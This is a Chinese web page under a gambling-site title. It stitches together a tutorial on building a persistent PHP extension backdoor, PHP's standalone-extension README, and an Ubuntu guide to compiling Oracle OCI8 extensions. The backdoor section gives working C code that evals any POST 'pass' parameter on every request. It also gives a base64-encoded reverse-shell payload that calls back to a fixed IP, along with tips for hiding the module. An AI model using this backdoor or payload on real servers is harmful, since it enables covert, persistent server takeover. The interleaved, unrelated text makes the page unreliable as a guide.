澳门新浦京娱乐游戏手把手教你编写一个简单的PHP模块形态的后门

独立的 PHP 扩展可以独立于 PHP
源码之外进行分发。要创建一个这样的扩展,需要准备好两样东西:

看到Freebuf
小编发表的用这个隐藏于PHP模块中的rootkit,就能持久接管服务器文章,很感兴趣,苦无作者没留下PoC,自己研究一番,有了此文

前言

  • 配置文件 (config.m4)
  • 你的模块源码

0×00. 引言

PHP是一个非常流行的web
server端的script语言.目前很多web应用程序都基于php语言实现。由于php是个开源软件并易于扩展,所以我们可以通过编写一个PHP模块(module
或者叫扩展 extension)来实现一个Backdoor。
本文就简单介下如何一步步编写一个简单的php 动态扩展后门。

最近由于换了硬盘重装了系统到Ubuntu16.04之后,开发环境也要重新安装,其实16.04源里面默认的PHP版本就是7.x,但是有个问题就是没有OCI扩展,有项目需要使用到Oracle数据库。

接下来我们来描述一下如果创建这些文件并组合起来。

0×01. php 扩后门的简单设计

出于教学目的,这个动态扩展后门的功能设计比较简单:

1). 通过过滤用户提交的特定变量来启动Backdoor.

2). 直接执行用户提交的php代码.

对于1)中过滤用户提交的变量有两种方法

方法1:

修改SAPI的input_filter或者是treat_data.你可以是hook后再执行php的原始代码,也可以直接替换原始函数
,具体介绍,请参考《》

方法2:

   
从php内建的数组里获取变量(即从php内核中获取变量),这也是本文所要用到的方法

准备编译环境

准备好系统工具

想要扩展能够在系统上编译并成功运行,需要准备转以下工具:

  • GNU autoconf
  • GNU automake
  • GNU libtool
  • GNU m4

以上这些都可以从 获取。

注:以上这些都是类 Unix 环境下才能使用的工具。

0×02. 开始编写扩展后门代码

结合0×01中php后门的设计,本文中要实现的后门功能为:

只要php解释器加载了这个扩展,那么对于每一次http POST
请求,这个扩展都会拦截,检查一下是否有pass参数,如果有,则执行pass参数的值中的php代码

本文用最快的(不是最标准的,标准的扩展一般还会单独写.h的头文件)的方式来建立一个简单的php扩展,共计两个文件,一个是编译配置文件config.m4,
一个是后门扩展源码hacker.c

由于全部编译太过于繁琐,而且很多依赖会有问题,所以我们选择另外一种方案,能使用apt-get安装都使用apt-get安装。不能使用apt-get才自己编译,这样可以节省大量的时间。因为有的依赖真的是很头疼。

改装一个已经存在的扩展

为了显示出创建一个独立的扩展是很容易的事情,我们先将一个已经内嵌到 PHP
的扩展改成独立扩展。安装 PHP 并且执行以下命令:

$ mkdir /tmp/newext
$ cd /tmp/newext

现在你已经有了一个空目录。我们将 mysql 扩展目录下的文件复制过来:

$ cp -rp php-4.0.X/ext/mysql/* .
# 注:看来这篇 README 真的需要更新一下了
# PHP7 中已经移除了 mysql 扩展部分

到这里扩展就完成了,执行:

$ phpize

现在你可以独立存放这个目录下的文件到任何地方,这个扩展可以完全独立存在了。

用户在编译时需要使用以下命令:

$ ./configure 
       [--with-php-config=/path/to/php-config] 
       [--with-mysql=MYSQL-DIR]
$ make install

这样 MySQL 模块就可以使用内嵌的 MySQL 客户端库或者已安装的位于 MySQL
目录中的 MySQL。

注:意思是说想要编写 PHP 扩展,你既需要已经安装了 PHP,也需要下载一份
PHP 源码。

关于config.m4

config.m4文件用于指定正在开发的扩展在类unix系统下构建时支持的选项,指定此扩展需要哪些库以及哪些源文件;使用
GNU autoconf
()语法编写。 phpize
会根据config.m4的配置自动生成编译相关文件(如下图,就是我们常见的configure
之类的,然后就可以./configure && make &&make install)

澳门新浦京娱乐游戏 1

由于在Ubuntu16.04上,默认的PHP版本就是7.x。由于我们要使用Apache2.4+PHP,所以安装如下模块即可直接解析PHP。

定义一个新扩展

我们给示例扩展命名为 “foobar”。

新扩展包含两个资源文件:foo.c 和
bar.c(还有一些头文件,但这些不只重要)。

示例扩展不引用任何外部的库(这点很重要,因为这样用户就不需要特别指定一些编译选项了)。

LTLIBRARY_SOURCES
选项用于指定资源文件的名字,你可以有任意数量的资源文件。

注:上面说的是 Makefile.in 文件中的配置选项,可以参考
xdebug。

1) config.m4 内容

    PHP_ARG_ENABLE(hacker, 0,0)  

    PHP_NEW_EXTENSION(hacker, hacker.c, $ext_shared)

就两行,很简单,这里做个解释

PHP_ARG_ENABLE 

含有有三个参数,

第1个参数是我们扩展的名字,这里为hacker

第2个参数是我们运行./configure
脚本时显要指定示的内容,这里没有配置,即为0

第3个参数是我们在调用./configure –help 的
时候要指定显示的帮助信息,这里也没有配置,为0

PHP_NEW_EXTENSION

 

PHP_NEW_EXTENSION(hacker, hacker.c, $ext_shared)

 

第1个参数是模块名字,这里为hacker

第2个参数表示的是编译模块需要的源文件名称 ,这里为hacker.c

如果我们的扩展使用了多个文件,便可以将这多个文件名罗列在函数的参数里,不同源文件之间以空格隔开,
比如:

 

PHP_NEW_EXTENSION(sample, sample.c sample2.c sample3.c, $ext_shared)

 

第3个参数表示的是编译的形式,这里的$ext_shared参数用来声明这个扩展不是一个静态模块,而是在php运行时动态加载的。

sudo apt-get install php-dev libapache2-mod-php

修改 m4 后缀的配置文件

m4
配置文件可以指定一些额外的检查。对于一个独立扩展来说,你只需要做一些宏调用即可。

PHP_ARG_ENABLE(foobar,whether to enable foobar,
[  --enable-foobar            Enable foobar])

if test "$PHP_FOOBAR" != "no"; then
  PHP_NEW_EXTENSION(foobar, foo.c bar.c, $ext_shared)
fi

PHP_ARG_ENABLE 会自动设置好正确的变量以保证扩展能够被
PHP_NEW_EXTENSION 以共享模式启动。

PHP_NEW_EXTENSION
的第一个参数是扩展的名称,第二个参数是资源文件。第三个参数 $ext_shared
是由 PHP_ARG_ENABLE/WITHPHP_NEW_EXTENSION 设定的。

请始终使用 PHP_ARG_ENABLEPHP_ARG_WITH
进行设置。即使你不打算发布你的 PHP 模块,这些设置也可以保证让你的模块和
PHP 主模块的接口保持一体。

注:PHP_ARG_ENABLEPHP_ARG_WITH
应该是用于定义模块是动态扩展还是静态编译进 PHP 中,就跟编译 PHP 时使用的
--enable-xxx--with-xxx 一样。

2)后门扩展源码hacker.c

    代码比较简单,主要有以下:

    zend_module_entry 结构体定义,必须   

    ZEND_GET_MODULE
 编译加载模块并返回zend_module_entry的指针,必须

   
模块运行时函数声明,标准的扩展都会在.h的都文件中声明,这里就在.c的源代码中一起声明了

    模块运行时函数定义

    具体代码:

    #include "php.h"

  
    //模块运行时函数声明

    PHP_RINIT_FUNCTION(hacker);

    
    //zend_module_entry 结构体定义

    zend_module_entry hacker_module_entry = {

    #if ZEND_MODULE_API_NO >= 20010901

    STANDARD_MODULE_HEADER,

    #endif

        "hacker", //模块名,可以考虑用同形异义字, php -m 可以查询到

        NULL,   //导出函数结构体hacker_functions,这里设置为NULL

        NULL,   //PHP_MINIT(hacker) 模块初始化,这里没有用到,设置为NULL

        NULL,   //PHP_MSHUTDOWN(hacker) 模块清理, 这里没有用到,设置为NULL

        PHP_RINIT(hacker), //运行时初始化,这里用到了,下面会着重讲解

        NULL,              //PHP_RSHUTDOWN(hacker) 运行时清理,没有用到,设置为NULL

        NULL,             //PHP_MINFO(hacker)处理phpinfo中的模块信息,没有用到,设置为NULL

        "1.0",           //模块版本

        STANDARD_MODULE_PROPERTIES  

    };

  

    #ifdef COMPILE_DL_HACKER

    ZEND_GET_MODULE(hacker);

    #endif


    //模块运行时函数定义

    //只要php解释器加载了这个模块,每个php请求时,都执行该函数

    PHP_RINIT_FUNCTION(hacker)

    {

    

        char* method = "_POST"; // 要过滤的变量,这里为$_POST    ,因为一般情况下POST内容不被服务器记录

        char* secret_string = "pass"; // 特定参数名,有点类似于菜刀的一句话密码,根据参数名做到特定条件下触发后门

        zval** arr; //指向指针的指针

        char* code;


        //在全局作用域(&EG(symbol_table))下收缩$_POST 变量,找到之后将指针值赋给arr

        if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { 

            HashTable* ht = Z_ARRVAL_P(*arr);  //使用宏Z_ARRVAL_P获取数组的值,因为$_POST是个数组

            zval** val;

            //在数组$_POST中查找参数名为pass的值,如果找到,则将值赋给val

            if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // 搜索hash表中期望的参数

                code =  Z_STRVAL_PP(val); // 使用宏Z_STRVAL_PP找到的参数值

                zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //执行代码,也即变量$_POST[pass]的值

            }

        }

        return SUCCESS;

    }

   代码解释补充

 

 #include "php.h"

 

   php.h, 位于PHP 主目录。这个文件包含了绝大部分 PHP 宏及 API
定义。编写php扩展必备,需要安装php开发库,以centos7 php5.5 为例

 

yum install php5-devel

 

   zend_module_entry 是编写php
动态加载模块必须注册的一个结构体,hacker_module_entry是结构体名字,命名规范为:模块名_module_entry,
来解释一下这个结构体:

 #if
ZEND_MODULE_API_NO >= 20010901

        STANDARD_MODULE_HEADER,

       #endif

   依据ZEND_MODULE_API_NO 是否大于等于
20010901,这个结构体需要不同的定义格式。20010901大约代表PHP4.2.0版本,所以我们现在的扩展几乎都要包含STANDARD_MODULE_HEADER这个元素了

 
 在php生命周期中,ZendEngine首先要初始化module,每个module中定义的PHP_MINIT_FUNCTION函数作为初始化代码(ModuleInit)都会被执行一次,而PHP_RINIT_FUNCTION函数则是在每次页面被请求的时候(RuntimeInit)都会执行一次。
因此对php函数的hook,设置php环境变量,对user
input的过滤,都可以根据需要在这两个函数中进行.本文扩展后门就是在RuntimeInit时候对变量进行hook。
然后在PHP_MSHUTDOWN_FUNCTION和PHP_RSHUTDOWN_FUNCTION中进行相应的清理.而作为Backdoor,PHP_MINFO_FUNCTION函数对我们则没什么必要,可以把这里设置为NULL。

   有关Z_STRVAL_PP Z_STRVAL_P
Z_STRVAL的解释,请参考:

这样最基本的模块就安装好了,如果还需要其他的模块,可以通过apt-get快捷安装;比如还需要MySQL和mb_string相关的模块。

创建资源文件

ext_skel 可以为你的 PHP
模块创建一些通用的代码,你也可以编写一些基本函数定义和 C
代码来处理函数的参数。具体信息可以查看
READNE.EXT_SKEL。

不要担心没有范例,PHP
中有很多模块供你参考,选择一个简单的点开始,添加你自己的代码。

注:ext_skel
可以生成好基本模块需要的资源文件和配置文件,不需要自己创建。

0×03. 测试

sudo apt-get install php-mysql php-mbstring

修改自定义模块

将 config.m4 文件和资源文件放到同一个目录中,然后执行 phpize (PHP 4.0
以上的版本编译 PHP 的时候都安装了 phpize)。

如果你的 phpize 不在系统环境变量中,你需要指定绝对路径,例如:

$ /php/bin/phpize

这个命令会自动复制必需的构建文件到当前目录并根据 config.m4
创建配置文件。

通过以上的步骤,你已经有了一个独立的扩展了。

1. 编译环境:

 

  centos7 x64

  php5.4

 

  需事先安装好phpize

这样就会自动安装好相关的模块。

安装扩展

扩展可以通过以下命令编译安装:

$ ./configure 
            [--with-php-config=/path/to/php-config]
$ make install

2. 编译后门

1) 先运行phpize,生成编译配置文件

2)./configure && make && make test 

3) make install 

澳门新浦京娱乐游戏 2

默认安装在/usr/lib64/php/modules/, 当然你也可以用–prefix指定安装目录

澳门新浦京娱乐游戏 3

安装Oracle Client

给模块添加共享支持

有时候独立扩展需要是共享的已供其他模块加载。接下来我会解释如何给已经创建好的
foo 模块添加共享支持。

  1. 在 config.m4 文件中,使用 PHP_ARG_WITH/PHP_ARG_ENABLE
    来设定扩展,这样就可以自动使用 --with-foo=shared[,..]
    --enable-foo=shared[,..] 这样的指令作为编译参数了。
  2. 在 config.m4 文件中,使用 PHP_NEW_EXTENSION(foo,.., $ext_shared)
    使扩展可以被构建。
  3. 添加以下代码到你的 C 语言资源文件中:

   #ifdef COMPILE_DL_FOO
   ZEND_GET_MODULE(foo)
   #endif

这一段讲的上面都提到过了,这里只是又强调了一下。

3. 配置 php.ini,启用后门

澳门新浦京娱乐游戏 4

  重启httpd服务

  使用php -m 查看是否模块加载成功

澳门新浦京娱乐游戏 5

至此,php 扩展后门加载成功,下面就需要客户端发送触发代码,触发后门执行

由于要编译OCI扩展,我们需要Oracle客户端,这里我们下载Oracle Instant
Client,选择Instant Client for Linux x86-64 basic版本下载。

PECL 网站约定

如果你打算发布你的扩展到 PECL 的网站,需要考虑以下几点:

  1. 添加 LICENSE 或 COPYING 到 package.xml
  2. 需要在扩展头文件中定义好版本信息,这个宏会被 foo_module_entry
    调用来声明扩展版本:

   #define PHP_FOO_VERSION "1.2.3"

4. 客户端开始监听,等待反弹

澳门新浦京娱乐游戏 6

另外要编译OCI必须还需要instant client SDK包,下载解压之后合并到Base。

5. 客户端发送恶意代码触发后门反弹shell

在github上找到一个php反弹后门代码:

修改以下反弹IP和端口,然后在除去换行符,再进行base64编码,最后处理如下:

 

eval(base64_decode('CiRjYmhvc3QgPSAnMTAuMS4xMDAuMyc7IAokY2Jwb3J0ID0gJzMxMzM0JzsgCmVjaG8gInsrfSBVc2luZyAiLiRjYmhvc3QuIjoiLiRjYnBvcnQuIiBhcyBjYWxsYmFjay4uLlxueyt9IERyb3BwaW5nIHNoZWxsLi4uXG4iOwokc2hlbGwgPSAiSXlFdmRYTnlMMkpwYmk5d2VYUm9iMjR5Q2lNZ1kyOWthVzVuT2lCMWRHWXRPQW9qSUZObGJHWWdSR1Z6ZEhKMVkzUnBibWNzSUVSaFpXMXZibWx1WnlCU1pYWmxjbk5sSUZCVVdTNEtJeUJ5YlNkeklITmxiR1lnYjI0Z2NYVnBkQ0E2TXdvaklGUlBSRTg2Q2lNZ01Ub2dRV1JrSUdOeWVYQjBid29qSURJNklFRmtaQ0J3Y205amJtRnRaU0J6Y0c5dlpncHBiWEJ2Y25RZ2IzTUthVzF3YjNKMElITjVjd3BwYlhCdmNuUWdjSFI1Q21sdGNHOXlkQ0J6YjJOclpYUUthVzF3YjNKMElHTnZiVzFoYm1SekNncHphR1ZzYkcxelp5QTlJQ0pjZURGaVd6QnRYSGd4WWxzeE96TTJiVWR2ZENCeWIyOTBJSGxsZEQ5Y2VERmlXekJ0WEhKY2JpSWdJeUJ1WldWa2VpQmhjMk5wYVFvS1pHVm1JSEYxYVhSMFpYSW9iWE5uS1RvS0lDQWdJSEJ5YVc1MElHMXpad29nSUNBZ2IzTXVkVzVzYVc1cktHOXpMbkJoZEdndVlXSnpjR0YwYUNoZlgyWnBiR1ZmWHlrcElDTWdkVzVqYjIxdFpXNTBJR1p2Y2lCbmIyZHZjMlZzWm1SbGMzUnlkV04wQ2lBZ0lDQnplWE11WlhocGRDZ3dLUW9LWkdWbUlISmxkbVZ5YzJVb1kySm9iM04wTENCalluQnZjblFwT2dvZ0lDQWdkSEo1T2dvZ0lDQWdJQ0FnSUhWdVlXMWxJRDBnWTI5dGJXRnVaSE11WjJWMGIzVjBjSFYwS0NKMWJtRnRaU0F0WVNJcENpQWdJQ0FnSUNBZ2FXUWdQU0JqYjIxdFlXNWtjeTVuWlhSdmRYUndkWFFvSW1sa0lpa0tJQ0FnSUdWNFkyVndkQ0JGZUdObGNIUnBiMjQ2Q2lBZ0lDQWdJQ0FnY1hWcGRIUmxjaWduWjNKaFlpQjFibUZ0WlM5cFpDQm1ZV2xzSnlrS0lDQWdJSFJ5ZVRvS0lDQWdJQ0FnSUNCemIyTnJJRDBnYzI5amEyVjBMbk52WTJ0bGRDaHpiMk5yWlhRdVFVWmZTVTVGVkN3Z2MyOWphMlYwTGxOUFEwdGZVMVJTUlVGTktRb2dJQ0FnSUNBZ0lITnZZMnN1WTI5dWJtVmpkQ2dvWTJKb2IzTjBMQ0JwYm5Rb1kySndiM0owS1NrcENpQWdJQ0JsZUdObGNIUTZDaUFnSUNBZ0lDQWdjWFZwZEhSbGNpZ25ZV0p2Y25RNklHTnZibTVsWTNScGIyNGdabUZwYkNjcENpQWdJQ0IwY25rNkNpQWdJQ0FnSUNBZ2IzTXVaSFZ3TWloemIyTnJMbVpwYkdWdWJ5Z3BMQ0F3S1FvZ0lDQWdJQ0FnSUc5ekxtUjFjRElvYzI5amF5NW1hV3hsYm04b0tTd2dNU2tLSUNBZ0lDQWdJQ0J2Y3k1a2RYQXlLSE52WTJzdVptbHNaVzV2S0Nrc0lESXBDaUFnSUNCbGVHTmxjSFE2Q2lBZ0lDQWdJQ0FnY1hWcGRIUmxjaWduWVdKdmNuUTZJR1IxY0RJZ1ptRnBiQ2NwQ2lBZ0lDQjBjbms2Q2lBZ0lDQWdJQ0FnYjNNdWNIVjBaVzUyS0NKSVNWTlVSa2xNUlNJc0lDSXZaR1YyTDI1MWJHd2lLUW9nSUNBZ0lDQWdJRzl6TG5CMWRHVnVkaWdpVUVGVVNDSXNJQ2N2ZFhOeUwyeHZZMkZzTDNOaWFXNDZMM1Z6Y2k5elltbHVPaTl6WW1sdU9pOWlhVzQ2TDNWemNpOXNiMk5oYkM5aWFXNDZMM1Z6Y2k5aWFXNG5LUW9nSUNBZ1pYaGpaWEIwSUVWNFkyVndkR2x2YmpvS0lDQWdJQ0FnSUNCeGRXbDBkR1Z5S0NkaFltOXlkRG9nY0hWMFpXNTJJR1poYVd3bktRb2dJQ0FnZEhKNU9nb2dJQ0FnSUNBZ0lITnZZMnN1YzJWdVpDaHphR1ZzYkcxelp5a0tJQ0FnSUNBZ0lDQnpiMk5yTG5ObGJtUW9KMXg0TVdKYk1Uc3pNbTBuSzNWdVlXMWxLeUpjY2x4dUlpdHBaQ3NpWEhneFlsc3diVnh5WEc0aUtRb2dJQ0FnWlhoalpYQjBJRVY0WTJWd2RHbHZiam9LSUNBZ0lDQWdJQ0J4ZFdsMGRHVnlLQ2R6Wlc1a0lHbGtMM1Z1WVcxbElHWjFZMnQxY0NjcENpQWdJQ0IwY25rNkNpQWdJQ0FnSUNBZ2NIUjVMbk53WVhkdUtDY3ZZbWx1TDJKaGMyZ25LUW9nSUNBZ1pYaGpaWEIwSUVWNFkyVndkR2x2YmpvS0lDQWdJQ0FnSUNCeGRXbDBkR1Z5S0NkaFltOXlkRG9nY0hSNUlITndZWGR1SUdaaGFXd25LUW9nSUNBZ2NYVnBkSFJsY2lnbmNYVnBkSFJwYm1jc0lHTnNaV0Z1ZFhBbktRb0taR1ZtSUcxaGFXNG9ZWEpuY3lrNkNpQWdJQ0JwWmlCdmN5NW1iM0pyS0NrZ1BpQXdPaUFLSUNBZ0lDQWdJQ0J2Y3k1ZlpYaHBkQ2d3S1FvZ0lDQWdjbVYyWlhKelpTaHplWE11WVhKbmRsc3hYU3dnYzNsekxtRnlaM1piTWwwcENncHBaaUJmWDI1aGJXVmZYeUE5UFNBaVgxOXRZV2x1WDE4aU9nb2dJQ0FnYldGcGJpaHplWE11WVhKbmRpa0siOwokeCA9IGZvcGVuKCIvdG1wL3giLCAidysiKTsKZndyaXRlKCR4LCBiYXNlNjRfZGVjb2RlKCRzaGVsbCkpOwpmY2xvc2UoJHgpOwplY2hvICJ7K30gU2hlbGwgZHJvcHBlZC4uLiBUcmlnZ2VyaW5nLi4uXG4iOwpzeXN0ZW0oInB5dGhvbiAvdG1wL3ggIi4kY2Job3N0LiIgIi4kY2Jwb3J0KTsKZGllKCd7K30gZ290IHNoZWxsPycpOyAvLyBwYXlsb2FkIHNob3VsZCBoYXZlIHJtJ2QgaXRzZWxmCgo='));

 

 使用burpsuite 发送POST请求,参数为pass,值为上述eval(base64_decode
那一串值

澳门新浦京娱乐游戏 7

成功反弹shell

给出的网页最后面也有安装步骤,这里简述一下

0×04. 总结

本文所涉及的php 扩展后门是相对比较简单的,只是为了演示教学之目的。

如果系统禁用了eval等函数,还需要通过在后门中加入模块初始化函数(PHP_MINIT_FUNCTION),动态修改php.ini以达到绕过disable_function的目的,另外,为了更好地隐藏自身,还需要在伪装性上下点功夫,比如利用同形异义字欺骗用户的眼睛,比如使得模块名不在php
-m中显示等,当然这是后话,希望后续能有这样的文章出现。

解压zip包,放置到某个目录下 为当前版本的Instant Client创建合适的链接
设置环境变量

参考:

 

sudo unzip instantclient-basic-linux.x64-12.1.0.2.0.zipsudo unzip instantclient-sdk-linux.x64-12.1.0.2.0.zipsudo mv instantclient_12_1/ /opt/oracle/cd /opt/oracle/instantclient_12_1/# 建立符号链接sudo ln -s libclntsh.so.12.1 libclntsh.sosudo ln -s libocci.so.12.1 libocci.so# 打开 /etc/profile 在最后面加入export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_1:$LD_LIBRARY_PATHexport PATH=/opt/oracle/instantclient_12_1:$PATH# 最后source一下,使配置生效source /etc/profile

下载PHP源码

首先我们要确定已经安装的PHP的版本,由于使用apt-get安装,版本可能不是PHP官网放的最新的版本,使用下面的
命令既可查看

php -v

发现我的安装的版本是7.0.4,那么我们对应的下载PHP-7.0.4版本的源码。

两种方式可以下载到源码。

从官网下载源码包 从GitHub 仓库 clone

官网下载源码很简单,打开php.net的Download页面,选择要下载的版本。或者从GitHub仓库clone指定版本(或者先clone再checkout想要的版本),如

git clone -b PHP-7.0.4 https://github.com/php/php-src && cd php-src

编译OCI8/PDO_OCI

经过如上的步骤我们已经进入到下载的PHP源码根目录了,那么我们开始编译。

编译oci8

进入到扩展oci8的源码目录,使用phpize

cd ext/oci8phpize./configure --with-oci8=instantclient,/opt/oracle/instantclient_12_1sudo make

执行完上面的步骤,应该会生成一个modules文件夹,里面就有我们想要的extension。

编译pdo_oci

步骤和编译oci8是一样的,但是configure参数不一样,所以还是写一下。

cd ../../ext/pdo_ociphpize# 最后面要指定版本号./configure --with-pdo-oci=instantclient,/opt/oracle/instantclient_12_1,12.1sudo make

使用我们编译的扩展

首先我们要知道现行PHP的ext目录在哪里

php -i | grep "extension_dir"

我这里显示的是extension_dir => /usr/lib/php/20151012 => /usr/lib/php/20151012,那么我们先把我们编译的扩展复制到/usr/lib/php/20151012

# 先进入对应的modules目录下cp oci8.so /usr/lib/php/20151012cp pdo_oci.so /usr/lib/php/20151012

然后我们还要在php.ini中添加相关配置项,首先也要知道php.ini的位置

p -i | grep "Configuration File"

Configuration File  Path => /etc/php/7.0/cliLoaded Configuration File => /etc/php/7.0/cli/php.ini

这样我们就知道了php.ini的位置,但是这个是CLI的配置文件,我们需要使用Apache的。我们到目录/etc/php/7.0/下发现还有一个名为apache2的目录,里面也有php.ini文件,那么我们编辑apache2目录下的php.ini

sudo vim php.ini

extension=oci8.soextension=pdo_oci.so

systemctl restart apache2.service

查看一下phpinfo()发现OCI和PDO_OCI均已安装。到这里安装已经全部完成了。

Linux小技巧

在安装和查资料的过程中发现了一下很实用的命令,也把它们记录下来。

# 重启某个服务sudo systemctl restart apache2.service# 查看某个服务的状态sudo systemctl status apache2.service# 查看php相关的模块apt-cache search php- | less# 具体查看某个模块的详细信息apt-cache show package_name

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对脚本之家的支持。

发表评论

电子邮件地址不会被公开。 必填项已用*标注